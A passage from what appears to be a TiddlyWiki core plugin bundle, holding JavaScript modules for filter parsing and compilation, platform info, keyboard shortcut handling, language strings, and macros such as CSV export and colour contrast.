filterString.indexOf(\"}\",p);\n\t\t\t\tbreak;\n\t\t\tcase \"[\": // Square brackets\n\t\t\t\tnextBracketPos = filterString.indexOf(\"]\",p);\n\t\t\t\tbreak;\n\t\t\tcase \"<\": // Angle brackets\n\t\t\t\toperator.variable = true;\n\t\t\t\tnextBracketPos = filterString.indexOf(\">\",p);\n\t\t\t\tbreak;\n\t\t\tcase \"/\": // regexp brackets\n\t\t\t\tvar rex = /^((?:[^\\\\\\/]*|\\\\.)*)\\/(?:\\(([mygi]+)\\))?/g,\n\t\t\t\t\trexMatch = rex.exec(filterString.substring(p));\n\t\t\t\tif(rexMatch) {\n\t\t\t\t\toperator.regexp = new RegExp(rexMatch[1], rexMatch[2]);\n// DEPRECATION WARNING\nconsole.log(\"WARNING: Filter\",operator.operator,\"has a deprecated regexp operand\",operator.regexp);\n\t\t\t\t\tnextBracketPos = p + rex.lastIndex - 1;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tthrow \"Unterminated regular expression in filter expression\";\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif(nextBracketPos === -1) {\n\t\t\tthrow \"Missing closing bracket in filter expression\";\n\t\t}\n\t\tif(!operator.regexp) {\n\t\t\toperator.operand = filterString.substring(p,nextBracketPos);\n\t\t}\n\t\tp = nextBracketPos + 1;\n\n\t\t// Push this operator\n\t\toperators.push(operator);\n\t} while(filterString.charAt(p) !== \"]\");\n\t// Skip the ending square bracket\n\tif(filterString.charAt(p++) !== \"]\") {\n\t\tthrow \"Missing ] in filter expression\";\n\t}\n\t// Return the parsing position\n\treturn p;\n}\n\n/*\nParse a filter string\n*/\nexports.parseFilter = function(filterString) {\n\tfilterString = filterString || \"\";\n\tvar results = [], // Array of arrays of operator nodes {operator:,operand:}\n\t\tp = 0, // Current position in the filter string\n\t\tmatch;\n\tvar whitespaceRegExp = /(\\s+)/mg,\n\t\toperandRegExp = /((?:\\+|\\-|~)?)(?:(\\[)|(?:\"([^\"]*)\")|(?:'([^']*)')|([^\\s\\[\\]]+))/mg;\n\twhile(p < filterString.length) {\n\t\t// Skip any whitespace\n\t\twhitespaceRegExp.lastIndex = p;\n\t\tmatch = whitespaceRegExp.exec(filterString);\n\t\tif(match && match.index === p) {\n\t\t\tp = p + match[0].length;\n\t\t}\n\t\t// Match the start of the operation\n\t\tif(p < filterString.length) {\n\t\t\toperandRegExp.lastIndex = p;\n\t\t\tmatch = operandRegExp.exec(filterString);\n\t\t\tif(!match || match.index !== p) {\n\t\t\t\tthrow $tw.language.getString(\"Error/FilterSyntax\");\n\t\t\t}\n\t\t\tvar operation = {\n\t\t\t\tprefix: \"\",\n\t\t\t\toperators: []\n\t\t\t};\n\t\t\tif(match[1]) {\n\t\t\t\toperation.prefix = match[1];\n\t\t\t\tp++;\n\t\t\t}\n\t\t\tif(match[2]) { // Opening square bracket\n\t\t\t\tp = parseFilterOperation(operation.operators,filterString,p);\n\t\t\t} else {\n\t\t\t\tp = match.index + match[0].length;\n\t\t\t}\n\t\t\tif(match[3] || match[4] || match[5]) { // Double quoted string, single quoted string or unquoted title\n\t\t\t\toperation.operators.push(\n\t\t\t\t\t{operator: \"title\", operand: match[3] || match[4] || match[5]}\n\t\t\t\t);\n\t\t\t}\n\t\t\tresults.push(operation);\n\t\t}\n\t}\n\treturn results;\n};\n\nexports.getFilterOperators = function() {\n\tif(!this.filterOperators) {\n\t\t$tw.Wiki.prototype.filterOperators = {};\n\t\t$tw.modules.applyMethods(\"filteroperator\",this.filterOperators);\n\t}\n\treturn this.filterOperators;\n};\n\nexports.filterTiddlers = function(filterString,widget,source) {\n\tvar fn = this.compileFilter(filterString);\n\treturn fn.call(this,source,widget);\n};\n\n/*\nCompile a filter into a function with the signature fn(source,widget) where:\nsource: an iterator function for the source tiddlers, called source(iterator), where iterator is called as iterator(tiddler,title)\nwidget: an optional widget node for retrieving the current tiddler etc.\n*/\nexports.compileFilter = function(filterString) {\n\tvar filterParseTree;\n\ttry {\n\t\tfilterParseTree = this.parseFilter(filterString);\n\t} catch(e) {\n\t\treturn function(source,widget) {\n\t\t\treturn [$tw.language.getString(\"Error/Filter\") + \": \" + e];\n\t\t};\n\t}\n\t// Get the hashmap of filter operator functions\n\tvar filterOperators = this.getFilterOperators();\n\t// Assemble array of functions, one for each operation\n\tvar operationFunctions = [];\n\t// Step through the operations\n\tvar self = this;\n\t$tw.utils.each(filterParseTree,function(operation) {\n\t\t// Create a function for the chain of operators in the operation\n\t\tvar operationSubFunction = function(source,widget) {\n\t\t\tvar accumulator = source,\n\t\t\t\tresults = [],\n\t\t\t\tcurrTiddlerTitle = widget && widget.getVariable(\"currentTiddler\");\n\t\t\t$tw.utils.each(operation.operators,function(operator) {\n\t\t\t\tvar operand = operator.operand,\n\t\t\t\t\toperatorFunction;\n\t\t\t\tif(!operator.operator) {\n\t\t\t\t\toperatorFunction = filterOperators.title;\n\t\t\t\t} else if(!filterOperators[operator.operator]) {\n\t\t\t\t\toperatorFunction = filterOperators.field;\n\t\t\t\t} else {\n\t\t\t\t\toperatorFunction = filterOperators[operator.operator];\n\t\t\t\t}\n\t\t\t\tif(operator.indirect) {\n\t\t\t\t\toperand = self.getTextReference(operator.operand,\"\",currTiddlerTitle);\n\t\t\t\t}\n\t\t\t\tif(operator.variable) {\n\t\t\t\t\toperand = widget.getVariable(operator.operand,{defaultValue: \"\"});\n\t\t\t\t}\n\t\t\t\t// Invoke the appropriate filteroperator module\n\t\t\t\tresults = operatorFunction(accumulator,{\n\t\t\t\t\t\t\toperator: operator.operator,\n\t\t\t\t\t\t\toperand: operand,\n\t\t\t\t\t\t\tprefix: operator.prefix,\n\t\t\t\t\t\t\tsuffix: operator.suffix,\n\t\t\t\t\t\t\tsuffixes: operator.suffixes,\n\t\t\t\t\t\t\tregexp: operator.regexp\n\t\t\t\t\t\t},{\n\t\t\t\t\t\t\twiki: self,\n\t\t\t\t\t\t\twidget: widget\n\t\t\t\t\t\t});\n\t\t\t\tif($tw.utils.isArray(results)) {\n\t\t\t\t\taccumulator = self.makeTiddlerIterator(results);\n\t\t\t\t} else {\n\t\t\t\t\taccumulator = results;\n\t\t\t\t}\n\t\t\t});\n\t\t\tif($tw.utils.isArray(results)) {\n\t\t\t\treturn results;\n\t\t\t} else {\n\t\t\t\tvar resultArray = [];\n\t\t\t\tresults(function(tiddler,title) {\n\t\t\t\t\tresultArray.push(title);\n\t\t\t\t});\n\t\t\t\treturn resultArray;\n\t\t\t}\n\t\t};\n\t\t// Wrap the operator functions in a wrapper function that depends on the prefix\n\t\toperationFunctions.push((function() {\n\t\t\tswitch(operation.prefix || \"\") {\n\t\t\t\tcase \"\": // No prefix means that the operation is unioned into the result\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\t$tw.utils.pushTop(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"-\": // The results of this operation are removed from the main result\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\t$tw.utils.removeArrayEntries(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"+\": // This operation is applied to the main results so far\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\t// This replaces all the elements of the array, but keeps the actual array so that references to it are preserved\n\t\t\t\t\t\tsource = self.makeTiddlerIterator(results);\n\t\t\t\t\t\tresults.splice(0,results.length);\n\t\t\t\t\t\t$tw.utils.pushTop(results,operationSubFunction(source,widget));\n\t\t\t\t\t};\n\t\t\t\tcase \"~\": // This operation is unioned into the result only if the main result so far is empty\n\t\t\t\t\treturn function(results,source,widget) {\n\t\t\t\t\t\tif(results.length === 0) {\n\t\t\t\t\t\t\t// Main result so far is empty\n\t\t\t\t\t\t\t$tw.utils.pushTop(results,operationSubFunction(source,widget));\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t}\n\t\t})());\n\t});\n\t// Return a function that applies the operations to a source iterator of tiddler titles\n\treturn $tw.perf.measure(\"filter\",function filterFunction(source,widget) {\n\t\tif(!source) {\n\t\t\tsource = self.each;\n\t\t} else if(typeof source === \"object\") { // Array or hashmap\n\t\t\tsource = self.makeTiddlerIterator(source);\n\t\t}\n\t\tvar results = [];\n\t\t$tw.utils.each(operationFunctions,function(operationFunction) {\n\t\t\toperationFunction(results,source,widget);\n\t\t});\n\t\treturn results;\n\t});\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikimethod"
        },
        "$:/core/modules/info/platform.js": {
            "title": "$:/core/modules/info/platform.js",
            "text": "/*\\\ntitle: $:/core/modules/info/platform.js\ntype: application/javascript\nmodule-type: info\n\nInitialise basic platform $:/info/ tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.getInfoTiddlerFields = function() {\n\tvar mapBoolean = function(value) {return value ? \"yes\" : \"no\";},\n\t\tinfoTiddlerFields = [];\n\t// Basics\n\tinfoTiddlerFields.push({title: \"$:/info/browser\", text: mapBoolean(!!$tw.browser)});\n\tinfoTiddlerFields.push({title: \"$:/info/node\", text: mapBoolean(!!$tw.node)});\n\tif($tw.browser) {\n\t\t// Document location\n\t\tvar setLocationProperty = function(name,value) {\n\t\t\t\tinfoTiddlerFields.push({title: \"$:/info/url/\" + name, text: value});\t\t\t\n\t\t\t},\n\t\t\tlocation = document.location;\n\t\tsetLocationProperty(\"full\", (location.toString()).split(\"#\")[0]);\n\t\tsetLocationProperty(\"host\", location.host);\n\t\tsetLocationProperty(\"hostname\", location.hostname);\n\t\tsetLocationProperty(\"protocol\", location.protocol);\n\t\tsetLocationProperty(\"port\", location.port);\n\t\tsetLocationProperty(\"pathname\", location.pathname);\n\t\tsetLocationProperty(\"search\", location.search);\n\t\tsetLocationProperty(\"origin\", location.origin);\n\t\t// Screen size\n\t\tinfoTiddlerFields.push({title: \"$:/info/browser/screen/width\", text: window.screen.width.toString()});\n\t\tinfoTiddlerFields.push({title: \"$:/info/browser/screen/height\", text: window.screen.height.toString()});\n\t}\n\treturn infoTiddlerFields;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "info"
        },
        "$:/core/modules/keyboard.js": {
            "title": "$:/core/modules/keyboard.js",
            "text": "/*\\\ntitle: $:/core/modules/keyboard.js\ntype: application/javascript\nmodule-type: global\n\nKeyboard handling utilities\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar namedKeys = {\n\t\"cancel\": 3,\n\t\"help\": 6,\n\t\"backspace\": 8,\n\t\"tab\": 9,\n\t\"clear\": 12,\n\t\"return\": 13,\n\t\"enter\": 13,\n\t\"pause\": 19,\n\t\"escape\": 27,\n\t\"space\": 32,\n\t\"page_up\": 33,\n\t\"page_down\": 34,\n\t\"end\": 35,\n\t\"home\": 36,\n\t\"left\": 37,\n\t\"up\": 38,\n\t\"right\": 39,\n\t\"down\": 40,\n\t\"printscreen\": 44,\n\t\"insert\": 45,\n\t\"delete\": 46,\n\t\"0\": 48,\n\t\"1\": 49,\n\t\"2\": 50,\n\t\"3\": 51,\n\t\"4\": 52,\n\t\"5\": 53,\n\t\"6\": 54,\n\t\"7\": 55,\n\t\"8\": 56,\n\t\"9\": 57,\n\t\"firefoxsemicolon\": 59,\n\t\"firefoxequals\": 61,\n\t\"a\": 65,\n\t\"b\": 66,\n\t\"c\": 67,\n\t\"d\": 68,\n\t\"e\": 69,\n\t\"f\": 70,\n\t\"g\": 71,\n\t\"h\": 72,\n\t\"i\": 73,\n\t\"j\": 74,\n\t\"k\": 75,\n\t\"l\": 76,\n\t\"m\": 77,\n\t\"n\": 78,\n\t\"o\": 79,\n\t\"p\": 80,\n\t\"q\": 81,\n\t\"r\": 82,\n\t\"s\": 83,\n\t\"t\": 84,\n\t\"u\": 85,\n\t\"v\": 86,\n\t\"w\": 87,\n\t\"x\": 88,\n\t\"y\": 89,\n\t\"z\": 90,\n\t\"numpad0\": 96,\n\t\"numpad1\": 97,\n\t\"numpad2\": 98,\n\t\"numpad3\": 99,\n\t\"numpad4\": 100,\n\t\"numpad5\": 101,\n\t\"numpad6\": 102,\n\t\"numpad7\": 103,\n\t\"numpad8\": 104,\n\t\"numpad9\": 105,\n\t\"multiply\": 106,\n\t\"add\": 107,\n\t\"separator\": 108,\n\t\"subtract\": 109,\n\t\"decimal\": 110,\n\t\"divide\": 111,\n\t\"f1\": 112,\n\t\"f2\": 113,\n\t\"f3\": 114,\n\t\"f4\": 115,\n\t\"f5\": 116,\n\t\"f6\": 117,\n\t\"f7\": 118,\n\t\"f8\": 119,\n\t\"f9\": 120,\n\t\"f10\": 121,\n\t\"f11\": 122,\n\t\"f12\": 123,\n\t\"f13\": 124,\n\t\"f14\": 125,\n\t\"f15\": 126,\n\t\"f16\": 127,\n\t\"f17\": 128,\n\t\"f18\": 129,\n\t\"f19\": 130,\n\t\"f20\": 131,\n\t\"f21\": 132,\n\t\"f22\": 133,\n\t\"f23\": 134,\n\t\"f24\": 135,\n\t\"firefoxminus\": 173,\n\t\"semicolon\": 186,\n\t\"equals\": 187,\n\t\"comma\": 188,\n\t\"dash\": 189,\n\t\"period\": 190,\n\t\"slash\": 191,\n\t\"backquote\": 192,\n\t\"openbracket\": 219,\n\t\"backslash\": 220,\n\t\"closebracket\": 221,\n\t\"quote\": 222\n};\n\nfunction KeyboardManager(options) {\n\tvar self = this;\n\toptions = options || \"\";\n\t// Save the named key hashmap\n\tthis.namedKeys = namedKeys;\n\t// Create a reverse mapping of code to keyname\n\tthis.keyNames = [];\n\t$tw.utils.each(namedKeys,function(keyCode,name) {\n\t\tself.keyNames[keyCode] = name.substr(0,1).toUpperCase() + name.substr(1);\n\t});\n\t// Save the platform-specific name of the \"meta\" key\n\tthis.metaKeyName = $tw.platform.isMac ? \"cmd-\" : \"win-\";\n\tthis.shortcutKeysList = [], // Stores the shortcut-key descriptors\n\tthis.shortcutActionList = [], // Stores the corresponding action strings\n\tthis.shortcutParsedList = []; // Stores the parsed key descriptors\n\tthis.lookupNames = [\"shortcuts\"];\n\tthis.lookupNames.push($tw.platform.isMac ? \"shortcuts-mac\" : \"shortcuts-not-mac\")\n\tthis.lookupNames.push($tw.platform.isWindows ? \"shortcuts-windows\" : \"shortcuts-not-windows\");\n\tthis.lookupNames.push($tw.platform.isLinux ? \"shortcuts-linux\" : \"shortcuts-not-linux\");\n\tthis.updateShortcutLists(this.getShortcutTiddlerList());\n\t$tw.wiki.addEventListener(\"change\",function(changes) {\n\t\tself.handleShortcutChanges(changes);\n\t});\n}\n\n/*\nReturn an array of keycodes for the modifier keys ctrl, shift, alt, meta\n*/\nKeyboardManager.prototype.getModifierKeys = function() {\n\treturn [\n\t\t16, // Shift\n\t\t17, // Ctrl\n\t\t18, // Alt\n\t\t20, // CAPS LOCK\n\t\t91, // Meta (left)\n\t\t93, // Meta (right)\n\t\t224 // Meta (Firefox)\n\t]\n};\n\n/*\nParses a key descriptor into the structure:\n{\n\tkeyCode: numeric keycode\n\tshiftKey: boolean\n\taltKey: boolean\n\tctrlKey: boolean\n\tmetaKey: boolean\n}\nKey descriptors have the following format:\n\tctrl+enter\n\tctrl+shift+alt+A\n*/\nKeyboardManager.prototype.parseKeyDescriptor = function(keyDescriptor) {\n\tvar components = keyDescriptor.split(/\\+|\\-/),\n\t\tinfo = {\n\t\t\tkeyCode: 0,\n\t\t\tshiftKey: false,\n\t\t\taltKey: false,\n\t\t\tctrlKey: false,\n\t\t\tmetaKey: false\n\t\t};\n\tfor(var t=0; t<components.length; t++) {\n\t\tvar s = components[t].toLowerCase(),\n\t\t\tc = s.charCodeAt(0);\n\t\t// Look for modifier keys\n\t\tif(s === \"ctrl\") {\n\t\t\tinfo.ctrlKey = true;\n\t\t} else if(s === \"shift\") {\n\t\t\tinfo.shiftKey = true;\n\t\t} else if(s === \"alt\") {\n\t\t\tinfo.altKey = true;\n\t\t} else if(s === \"meta\" || s === \"cmd\" || s === \"win\") {\n\t\t\tinfo.metaKey = true;\n\t\t}\n\t\t// Replace named keys with their code\n\t\tif(this.namedKeys[s]) {\n\t\t\tinfo.keyCode = this.namedKeys[s];\n\t\t}\n\t}\n\tif(info.keyCode) {\n\t\treturn info;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nParse a list of key descriptors into an array of keyInfo objects. The key descriptors can be passed as an array of strings or a space separated string\n*/\nKeyboardManager.prototype.parseKeyDescriptors = function(keyDescriptors,options) {\n\tvar self = this;\n\toptions = options || {};\n\toptions.stack = options.stack || [];\n\tvar wiki = options.wiki || $tw.wiki;\n\tif(typeof keyDescriptors === \"string\" && keyDescriptors === \"\") {\n\t\treturn [];\n\t}\n\tif(!$tw.utils.isArray(keyDescriptors)) {\n\t\tkeyDescriptors = keyDescriptors.split(\" \");\n\t}\n\tvar result = [];\n\t$tw.utils.each(keyDescriptors,function(keyDescriptor) {\n\t\t// Look for a named shortcut\n\t\tif(keyDescriptor.substr(0,2) === \"((\" && keyDescriptor.substr(-2,2) === \"))\") {\n\t\t\tif(options.stack.indexOf(keyDescriptor) === -1) {\n\t\t\t\toptions.stack.push(keyDescriptor);\n\t\t\t\tvar name = keyDescriptor.substring(2,keyDescriptor.length - 2),\n\t\t\t\t\tlookupName = function(configName) {\n\t\t\t\t\t\tvar keyDescriptors = wiki.getTiddlerText(\"$:/config/\" + configName + \"/\" + name);\n\t\t\t\t\t\tif(keyDescriptors) {\n\t\t\t\t\t\t\tresult.push.apply(result,self.parseKeyDescriptors(keyDescriptors,options));\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t$tw.utils.each(self.lookupNames,function(platformDescriptor) {\n\t\t\t\t\tlookupName(platformDescriptor);\n\t\t\t\t});\n\t\t\t}\n\t\t} else {\n\t\t\tresult.push(self.parseKeyDescriptor(keyDescriptor));\n\t\t}\n\t});\n\treturn result;\n};\n\nKeyboardManager.prototype.getPrintableShortcuts = function(keyInfoArray) {\n\tvar self = this,\n\t\tresult = [];\n\t$tw.utils.each(keyInfoArray,function(keyInfo) {\n\t\tif(keyInfo) {\n\t\t\tresult.push((keyInfo.ctrlKey ? \"ctrl-\" : \"\") + \n\t\t\t\t   (keyInfo.shiftKey ? \"shift-\" : \"\") + \n\t\t\t\t   (keyInfo.altKey ? \"alt-\" : \"\") + \n\t\t\t\t   (keyInfo.metaKey ? self.metaKeyName : \"\") + \n\t\t\t\t   (self.keyNames[keyInfo.keyCode]));\n\t\t}\n\t});\n\treturn result;\n}\n\nKeyboardManager.prototype.checkKeyDescriptor = function(event,keyInfo) {\n\treturn keyInfo &&\n\t\t\tevent.keyCode === keyInfo.keyCode && \n\t\t\tevent.shiftKey === keyInfo.shiftKey && \n\t\t\tevent.altKey === keyInfo.altKey && \n\t\t\tevent.ctrlKey === keyInfo.ctrlKey && \n\t\t\tevent.metaKey === keyInfo.metaKey;\n};\n\nKeyboardManager.prototype.checkKeyDescriptors = function(event,keyInfoArray) {\n\tfor(var t=0; t<keyInfoArray.length; t++) {\n\t\tif(this.checkKeyDescriptor(event,keyInfoArray[t])) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\nKeyboardManager.prototype.getShortcutTiddlerList = function() {\n\treturn $tw.wiki.getTiddlersWithTag(\"$:/tags/KeyboardShortcut\");\n};\n\nKeyboardManager.prototype.updateShortcutLists = function(tiddlerList) {\n\tthis.shortcutTiddlers = tiddlerList;\n\tfor(var i=0; i<tiddlerList.length; i++) {\n\t\tvar title = tiddlerList[i],\n\t\t\ttiddlerFields = $tw.wiki.getTiddler(title).fields;\n\t\tthis.shortcutKeysList[i] = tiddlerFields.key !== undefined ? tiddlerFields.key : undefined;\n\t\tthis.shortcutActionList[i] = tiddlerFields.text;\n\t\tthis.shortcutParsedList[i] = this.shortcutKeysList[i] !== undefined ? this.parseKeyDescriptors(this.shortcutKeysList[i]) : undefined;\n\t}\n};\n\nKeyboardManager.prototype.handleKeydownEvent = function(event) {\n\tvar key, action;\n\tfor(var i=0; i<this.shortcutTiddlers.length; i++) {\n\t\tif(this.shortcutParsedList[i] !== undefined && this.checkKeyDescriptors(event,this.shortcutParsedList[i])) {\n\t\t\tkey = this.shortcutParsedList[i];\n\t\t\taction = this.shortcutActionList[i];\n\t\t}\n\t}\n\tif(key !== undefined) {\n\t\tevent.preventDefault();\n\t\tevent.stopPropagation();\n\t\t$tw.rootWidget.invokeActionString(action,$tw.rootWidget);\n\t\treturn true;\n\t}\n\treturn false;\n};\n\nKeyboardManager.prototype.detectNewShortcuts = function(changedTiddlers) {\n\tvar shortcutConfigTiddlers = [],\n\t\thandled = false;\n\t$tw.utils.each(this.lookupNames,function(platformDescriptor) {\n\t\tvar descriptorString = \"$:/config/\" + platformDescriptor + \"/\";\n\t\tObject.keys(changedTiddlers).forEach(function(configTiddler) {\n\t\t\tvar configString = configTiddler.substr(0, configTiddler.lastIndexOf(\"/\") + 1);\n\t\t\tif(configString === descriptorString) {\n\t\t\t\tshortcutConfigTiddlers.push(configTiddler);\n\t\t\t\thandled = true;\n\t\t\t}\n\t\t});\n\t});\n\tif(handled) {\n\t\treturn $tw.utils.hopArray(changedTiddlers,shortcutConfigTiddlers);\n\t} else {\n\t\treturn false;\n\t}\n};\n\nKeyboardManager.prototype.handleShortcutChanges = function(changedTiddlers) {\n\tvar newList = this.getShortcutTiddlerList();\n\tvar hasChanged = $tw.utils.hopArray(changedTiddlers,this.shortcutTiddlers) ? true :\n\t\t($tw.utils.hopArray(changedTiddlers,newList) ? true :\n\t\t(this.detectNewShortcuts(changedTiddlers))\n\t);\n\t// Re-cache shortcuts if something changed\n\tif(hasChanged) {\n\t\tthis.updateShortcutLists(newList);\n\t}\n};\n\nexports.KeyboardManager = KeyboardManager;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/language.js": {
            "title": "$:/core/modules/language.js",
            "text": "/*\\\ntitle: $:/core/modules/language.js\ntype: application/javascript\nmodule-type: global\n\nThe $tw.Language() manages translateable strings\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nCreate an instance of the language manager. Options include:\nwiki: wiki from which to retrieve translation tiddlers\n*/\nfunction Language(options) {\n\toptions = options || \"\";\n\tthis.wiki = options.wiki || $tw.wiki;\n}\n\n/*\nReturn a wikified translateable string. The title is automatically prefixed with \"$:/language/\"\nOptions include:\nvariables: optional hashmap of variables to supply to the language wikification\n*/\nLanguage.prototype.getString = function(title,options) {\n\toptions = options || {};\n\ttitle = \"$:/language/\" + title;\n\treturn this.wiki.renderTiddler(\"text/plain\",title,{variables: options.variables});\n};\n\n/*\nReturn a raw, unwikified translateable string. The title is automatically prefixed with \"$:/language/\"\n*/\nLanguage.prototype.getRawString = function(title) {\n\ttitle = \"$:/language/\" + title;\n\treturn this.wiki.getTiddlerText(title);\n};\n\nexports.Language = Language;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/macros/changecount.js": {
            "title": "$:/core/modules/macros/changecount.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/changecount.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to return the changecount for the current tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"changecount\";\n\nexports.params = [];\n\n/*\nRun the macro\n*/\nexports.run = function() {\n\treturn this.wiki.getChangeCount(this.getVariable(\"currentTiddler\")) + \"\";\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/contrastcolour.js": {
            "title": "$:/core/modules/macros/contrastcolour.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/contrastcolour.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to choose which of two colours has the highest contrast with a base colour\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"contrastcolour\";\n\nexports.params = [\n\t{name: \"target\"},\n\t{name: \"fallbackTarget\"},\n\t{name: \"colourA\"},\n\t{name: \"colourB\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(target,fallbackTarget,colourA,colourB) {\n\tvar rgbTarget = $tw.utils.parseCSSColor(target) || $tw.utils.parseCSSColor(fallbackTarget);\n\tif(!rgbTarget) {\n\t\treturn colourA;\n\t}\n\tvar rgbColourA = $tw.utils.parseCSSColor(colourA),\n\t\trgbColourB = $tw.utils.parseCSSColor(colourB);\n\tif(rgbColourA && !rgbColourB) {\n\t\treturn rgbColourA;\n\t}\n\tif(rgbColourB && !rgbColourA) {\n\t\treturn rgbColourB;\n\t}\n\tif(!rgbColourA && !rgbColourB) {\n\t\t// If neither colour is readable, return a crude inverse of the target\n\t\treturn [255 - rgbTarget[0],255 - rgbTarget[1],255 - rgbTarget[2],rgbTarget[3]];\n\t}\n\t// Colour brightness formula derived from http://www.w3.org/WAI/ER/WD-AERT/#color-contrast\n\tvar brightnessTarget = rgbTarget[0] * 0.299 + rgbTarget[1] * 0.587 + rgbTarget[2] * 0.114,\n\t\tbrightnessA = rgbColourA[0] * 0.299 + rgbColourA[1] * 0.587 + rgbColourA[2] * 0.114,\n\t\tbrightnessB = rgbColourB[0] * 0.299 + rgbColourB[1] * 0.587 + rgbColourB[2] * 0.114;\n\treturn Math.abs(brightnessTarget - brightnessA) > Math.abs(brightnessTarget - brightnessB) ? colourA : colourB;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/csvtiddlers.js": {
            "title": "$:/core/modules/macros/csvtiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/csvtiddlers.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to output tiddlers matching a filter to CSV\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"csvtiddlers\";\n\nexports.params = [\n\t{name: \"filter\"},\n\t{name: \"format\"},\n];\n\n/*\nRun the macro\n*/\nexports.run = function(filter,format) {\n\tvar self = this,\n\t\ttiddlers = this.wiki.filterTiddlers(filter),\n\t\ttiddler,\n\t\tfields = [],\n\t\tt,f;\n\t// Collect all the fields\n\tfor(t=0;t<tiddlers.length; t++) {\n\t\ttiddler = this.wiki.getTiddler(tiddlers[t]);\n\t\tfor(f in tiddler.fields) {\n\t\t\tif(fields.indexOf(f) === -1) {\n\t\t\t\tfields.push(f);\n\t\t\t}\n\t\t}\n\t}\n\t// Sort the fields and bring the standard ones to the front\n\tfields.sort();\n\t\"title text modified modifier created creator\".split(\" \").reverse().forEach(function(value,index) {\n\t\tvar p = fields.indexOf(value);\n\t\tif(p !== -1) {\n\t\t\tfields.splice(p,1);\n\t\t\tfields.unshift(value)\n\t\t}\n\t});\n\t// Output the column headings\n\tvar output = [], row = [];\n\tfields.forEach(function(value) {\n\t\trow.push(quoteAndEscape(value))\n\t});\n\toutput.push(row.join(\",\"));\n\t// Output each tiddler\n\tfor(var t=0;t<tiddlers.length; t++) {\n\t\trow = [];\n\t\ttiddler = this.wiki.getTiddler(tiddlers[t]);\n\t\t\tfor(f=0; f<fields.length; f++) {\n\t\t\t\trow.push(quoteAndEscape(tiddler ? tiddler.getFieldString(fields[f]) || \"\" : \"\"));\n\t\t\t}\n\t\toutput.push(row.join(\",\"));\n\t}\n\treturn output.join(\"\\n\");\n};\n\nfunction quoteAndEscape(value) {\n\treturn \"\\\"\" + value.replace(/\"/mg,\"\\\"\\\"\") + \"\\\"\";\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/displayshortcuts.js": {
            "title": "$:/core/modules/macros/displayshortcuts.js",
            "text": "/*\\\ntitle: $:/core/modules/macros/displayshortcuts.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to display a list of keyboard shortcuts in human readable form. Notably, it resolves named shortcuts like `((bold))` to the underlying keystrokes.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"displayshortcuts\";\n\nexports.params = [\n\t{name: \"shortcuts\"},\n\t{name: \"prefix\"},\n\t{name: \"separator\"},\n\t{name: \"suffix\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(shortcuts,prefix,separator,suffix) {\n\tvar shortcutArray = $tw.keyboardManager.getPrintableShortcuts($tw.keyboardManager.parseKeyDescriptors(shortcuts,{\n\t\twiki: this.wiki\n\t}));\n\tif(shortcutArray.length > 0) {\n\t\tshortcutArray.sort(function(a,b) {\n\t\t    return a.toLowerCase().localeCompare(b.toLowerCase());\n\t\t})\n\t\treturn prefix + shortcutArray.join(separator) + suffix;\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "macro"
        },
        "$:/core/modules/macros/dumpvariables.js": {
            "title": "$:/core/modules/macros/dumpvariables.js",
